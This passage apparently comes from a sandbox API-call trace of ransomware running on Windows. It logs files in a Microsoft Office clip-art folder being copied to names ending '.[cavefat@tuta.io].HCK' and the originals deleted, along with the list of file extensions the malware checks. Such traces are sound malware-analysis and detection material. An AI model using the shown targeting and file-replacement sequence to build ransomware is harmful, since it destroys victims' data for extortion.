(in: hFile=0x458, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=43949) returned 1 [0227.814] CloseHandle (hObject=0x458) returned 1 [0227.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 0x220 [0227.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0227.815] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.815] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0227.815] GetLastError () returned 0x0 [0227.815] ReadFile (in: hFile=0x458, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0xabad, lpOverlapped=0x0) returned 1 [0227.818] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xabb0, lpOverlapped=0x0) returned 1 [0227.819] ReadFile (in: hFile=0x458, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.819] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0227.819] SetEndOfFile (hFile=0x4ac) returned 1 [0227.819] CloseHandle (hObject=0x4ac) returned 1 [0227.819] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.819] SetEndOfFile (hFile=0x458) returned 1 [0227.822] CloseHandle (hObject=0x458) returned 1 [0227.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0227.822] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 1 [0227.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0227.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0227.823] lstrlenW (lpString=".doc") returned 4 [0227.823] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0227.823] lstrlenW (lpString=".docx") returned 5 [0227.823] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0227.823] lstrlenW (lpString=".pdf") returned 4 [0227.823] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0227.823] lstrlenW (lpString=".xls") returned 4 [0227.823] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0227.823] lstrlenW (lpString=".xlsx") returned 5 [0227.823] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0227.823] lstrlenW (lpString=".ppt") returned 4 [0227.823] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0227.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0227.823] lstrlenW (lpString=".zip") returned 4 [0227.823] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0227.823] lstrlenW (lpString=".rar") returned 4 [0227.823] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0227.823] lstrlenW (lpString=".bz2") returned 4 [0227.823] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0227.823] lstrlenW (lpString=".7z") returned 3 [0227.823] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0227.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0227.823] lstrlenW (lpString=".dbf") returned 4 [0227.823] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0227.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0227.823] lstrlenW (lpString=".1cd") returned 4 [0227.823] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0227.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0227.823] lstrlenW (lpString=".jpg") returned 4 [0227.823] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0227.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0227.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0227.824] lstrlenW (lpString=".doc") returned 4 [0227.824] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0227.824] lstrlenW (lpString=".docx") returned 5 [0227.824] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0227.824] lstrlenW (lpString=".pdf") returned 4 [0227.824] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0227.824] lstrlenW (lpString=".xls") returned 4 [0227.824] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0227.824] lstrlenW (lpString=".xlsx") returned 5 [0227.824] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0227.824] lstrlenW (lpString=".ppt") returned 4 [0227.824] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0227.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0227.824] lstrlenW (lpString=".zip") returned 4 [0227.824] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0227.824] lstrlenW (lpString=".rar") returned 4 [0227.824] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0227.824] lstrlenW (lpString=".bz2") returned 4 [0227.824] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0227.824] lstrlenW (lpString=".7z") returned 3 [0227.824] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0227.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0227.824] lstrlenW (lpString=".dbf") returned 4 [0227.824] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0227.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0227.824] lstrlenW (lpString=".1cd") returned 4 [0227.824] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0227.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0227.824] lstrlenW (lpString=".jpg") returned 4 [0227.824] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0227.824] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0227.824] lstrlenW (lpString="J0099168.JPG") returned 12 [0227.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0227.825] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=20179) returned 1 [0227.825] CloseHandle (hObject=0x458) returned 1 [0227.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 0x220 [0227.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0227.826] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.826] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0227.826] GetLastError () returned 0x0 [0227.826] ReadFile (in: hFile=0x458, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x4ed3, lpOverlapped=0x0) returned 1 [0227.829] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0227.830] ReadFile (in: hFile=0x458, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.831] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0227.831] SetEndOfFile (hFile=0x4ac) returned 1 [0227.831] CloseHandle (hObject=0x4ac) returned 1 [0227.831] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.831] SetEndOfFile (hFile=0x458) returned 1 [0227.834] CloseHandle (hObject=0x458) returned 1 [0227.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0227.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 1 [0227.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0227.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0227.836] lstrlenW (lpString=".doc") returned 4 [0227.836] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0227.836] lstrlenW (lpString=".docx") returned 5 [0227.836] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0227.836] lstrlenW (lpString=".pdf") returned 4 [0227.836] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0227.836] lstrlenW (lpString=".xls") returned 4 [0227.836] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0227.836] lstrlenW (lpString=".xlsx") returned 5 [0227.836] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0227.836] lstrlenW (lpString=".ppt") returned 4 [0227.836] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0227.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0227.836] lstrlenW (lpString=".zip") returned 4 [0227.836] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0227.836] lstrlenW (lpString=".rar") returned 4 [0227.836] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0227.836] lstrlenW (lpString=".bz2") returned 4 [0227.836] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0227.836] lstrlenW (lpString=".7z") returned 3 [0227.836] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0227.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0227.837] lstrlenW (lpString=".dbf") returned 4 [0227.837] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0227.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0227.837] lstrlenW (lpString=".1cd") returned 4 [0227.837] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0227.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0227.837] lstrlenW (lpString=".jpg") returned 4 [0227.837] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0227.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0227.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0227.837] lstrlenW (lpString=".doc") returned 4 [0227.837] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0227.837] lstrlenW (lpString=".docx") returned 5 [0227.837] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0227.837] lstrlenW (lpString=".pdf") returned 4 [0227.837] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0227.837] lstrlenW (lpString=".xls") returned 4 [0227.837] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0227.837] lstrlenW (lpString=".xlsx") returned 5 [0227.837] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0227.837] lstrlenW (lpString=".ppt") returned 4 [0227.837] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0227.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0227.837] lstrlenW (lpString=".zip") returned 4 [0227.837] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0227.837] lstrlenW (lpString=".rar") returned 4 [0227.837] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0227.837] lstrlenW (lpString=".bz2") returned 4 [0227.837] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0227.837] lstrlenW (lpString=".7z") returned 3 [0227.837] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0227.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0227.837] lstrlenW (lpString=".dbf") returned 4 [0227.837] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0227.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0227.838] lstrlenW (lpString=".1cd") returned 4 [0227.838] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0227.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0227.838] lstrlenW (lpString=".jpg") returned 4 [0227.838] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0227.838] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0227.838] lstrlenW (lpString="J0099169.WMF") returned 12 [0227.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0227.839] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=10192) returned 1 [0227.839] CloseHandle (hObject=0x458) returned 1 [0227.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 0x220 [0227.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0227.840] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.841] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0227.842] GetLastError () returned 0x0 [0227.842] ReadFile (in: hFile=0x458, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x27d0, lpOverlapped=0x0) returned 1 [0227.844] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x27e0, lpOverlapped=0x0) returned 1 [0227.845] ReadFile (in: hFile=0x458, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.845] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0227.845] SetEndOfFile (hFile=0x4ac) returned 1 [0227.845] CloseHandle (hObject=0x4ac) returned 1 [0227.845] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.846] SetEndOfFile (hFile=0x458) returned 1 [0228.670] CloseHandle (hObject=0x458) returned 1 [0228.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0228.671] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 1 [0228.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0228.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0228.672] lstrlenW (lpString=".doc") returned 4 [0228.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.672] lstrlenW (lpString=".docx") returned 5 [0228.672] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0228.672] lstrlenW (lpString=".pdf") returned 4 [0228.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.672] lstrlenW (lpString=".xls") returned 4 [0228.672] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.672] lstrlenW (lpString=".xlsx") returned 5 [0228.672] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0228.672] lstrlenW (lpString=".ppt") returned 4 [0228.672] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0228.672] lstrlenW (lpString=".zip") returned 4 [0228.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.672] lstrlenW (lpString=".rar") returned 4 [0228.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.673] lstrlenW (lpString=".bz2") returned 4 [0228.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.673] lstrlenW (lpString=".7z") returned 3 [0228.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0228.673] lstrlenW (lpString=".dbf") returned 4 [0228.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0228.673] lstrlenW (lpString=".1cd") returned 4 [0228.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0228.673] lstrlenW (lpString=".jpg") returned 4 [0228.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0228.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0228.673] lstrlenW (lpString=".doc") returned 4 [0228.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.673] lstrlenW (lpString=".docx") returned 5 [0228.673] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0228.673] lstrlenW (lpString=".pdf") returned 4 [0228.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.673] lstrlenW (lpString=".xls") returned 4 [0228.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.673] lstrlenW (lpString=".xlsx") returned 5 [0228.673] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0228.673] lstrlenW (lpString=".ppt") returned 4 [0228.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0228.673] lstrlenW (lpString=".zip") returned 4 [0228.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.673] lstrlenW (lpString=".rar") returned 4 [0228.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.673] lstrlenW (lpString=".bz2") returned 4 [0228.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.673] lstrlenW (lpString=".7z") returned 3 [0228.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0228.673] lstrlenW (lpString=".dbf") returned 4 [0228.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0228.673] lstrlenW (lpString=".1cd") returned 4 [0228.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0228.674] lstrlenW (lpString=".jpg") returned 4 [0228.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.674] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0228.674] lstrlenW (lpString="J0099187.JPG") returned 12 [0228.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0228.675] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=24528) returned 1 [0228.675] CloseHandle (hObject=0x458) returned 1 [0228.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 0x220 [0228.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[cavefat@tuta.io].hck")) 